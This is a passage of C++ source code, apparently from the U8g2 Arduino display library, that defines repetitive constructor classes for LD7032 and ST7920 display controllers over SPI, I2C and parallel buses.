u8g2_Setup_ld7032_i2c_60x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_F_SW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_alt_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_F_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_alt_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_alt_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_LD7032_128X36_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_LD7032_128X36_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_128x36_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_128X36_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_128X36_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_128x36_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_128X36_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_128X36_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_128x36_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_128X36_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_LD7032_128X36_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_128x36_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_128X36_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_128X36_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_128x36_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_128X36_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_128X36_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_128x36_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_128X36_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_LD7032_128X36_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_128x36_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_128X36_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_128X36_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_128x36_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_128X36_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_128X36_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_128x36_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_128X36_1_SW_I2C : public U8G2 {\n  public: U8G2_LD7032_128X36_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_128x36_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_LD7032_128X36_1_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_128X36_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_128x36_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_LD7032_128X36_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_128X36_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_128x36_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_LD7032_128X36_2_SW_I2C : public U8G2 {\n  public: U8G2_LD7032_128X36_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_128x36_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_LD7032_128X36_2_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_128X36_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_128x36_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_LD7032_128X36_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_128X36_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_128x36_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_LD7032_128X36_F_SW_I2C : public U8G2 {\n  public: U8G2_LD7032_128X36_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_128x36_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_LD7032_128X36_F_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_128X36_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_128x36_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_LD7032_128X36_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_128X36_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_128x36_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7920_256X32_1_8080 : public U8G2 {\n  public: U8G2_ST7920_256X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_p_256x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_256X32_2_8080 : public U8G2 {\n  public: U8G2_ST7920_256X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_p_256x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_256X32_F_8080 : public U8G2 {\n  public: U8G2_ST7920_256X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_p_256x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_256X32_1_6800 : public U8G2 {\n  public: U8G2_ST7920_256X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_256x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_256X32_2_6800 : public U8G2 {\n  public: U8G2_ST7920_256X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_256x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_256X32_F_6800 : public U8G2 {\n  public: U8G2_ST7920_256X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_256x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_256X32_1_SW_SPI : public U8G2 {\n  public: U8G2_ST7920_256X32_1_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_256x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7920_256X32_1_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_256X32_1_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_256x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_256X32_1_2ND_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_256X32_1_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_256x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_256X32_2_SW_SPI : public U8G2 {\n  public: U8G2_ST7920_256X32_2_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_256x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7920_256X32_2_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_256X32_2_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_256x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_256X32_2_2ND_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_256X32_2_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_256x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_256X32_F_SW_SPI : public U8G2 {\n  public: U8G2_ST7920_256X32_F_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_256x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7920_256X32_F_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_256X32_F_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_256x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_256X32_F_2ND_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_256X32_F_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_256x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_144X32_1_8080 : public U8G2 {\n  public: U8G2_ST7920_144X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_p_144x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_144X32_2_8080 : public U8G2 {\n  public: U8G2_ST7920_144X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_p_144x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_144X32_F_8080 : public U8G2 {\n  public: U8G2_ST7920_144X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_p_144x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_144X32_1_6800 : public U8G2 {\n  public: U8G2_ST7920_144X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_144x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_144X32_2_6800 : public U8G2 {\n  public: U8G2_ST7920_144X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_144x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_144X32_F_6800 : public U8G2 {\n  public: U8G2_ST7920_144X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_144x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_144X32_1_SW_SPI : public U8G2 {\n  public: U8G2_ST7920_144X32_1_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_144x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7920_144X32_1_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_144X32_1_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_144x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_144X32_1_2ND_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_144X32_1_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_144x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_144X32_2_SW_SPI : public U8G2 {\n  public: U8G2_ST7920_144X32_2_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_144x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7920_144X32_2_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_144X32_2_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_144x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_144X32_2_2ND_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_144X32_2_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_144x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_144X32_F_SW_SPI : public U8G2 {\n  public: U8G2_ST7920_144X32_F_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_144x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7920_144X32_F_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_144X32_F_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_144x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_144X32_F_2ND_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_144X32_F_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_144x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_160X32_1_8080 : public U8G2 {\n  public: U8G2_ST7920_160X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_p_160x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_160X32_2_8080 : public U8G2 {\n  public: U8G2_ST7920_160X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_p_160x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_160X32_F_8080 : public U8G2 {\n  public: U8G2_ST7920_160X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_p_160x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_160X32_1_6800 : public U8G2 {\n  public: U8G2_ST7920_160X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_160x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_160X32_2_6800 : public U8G2 {\n  public: U8G2_ST7920_160X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, 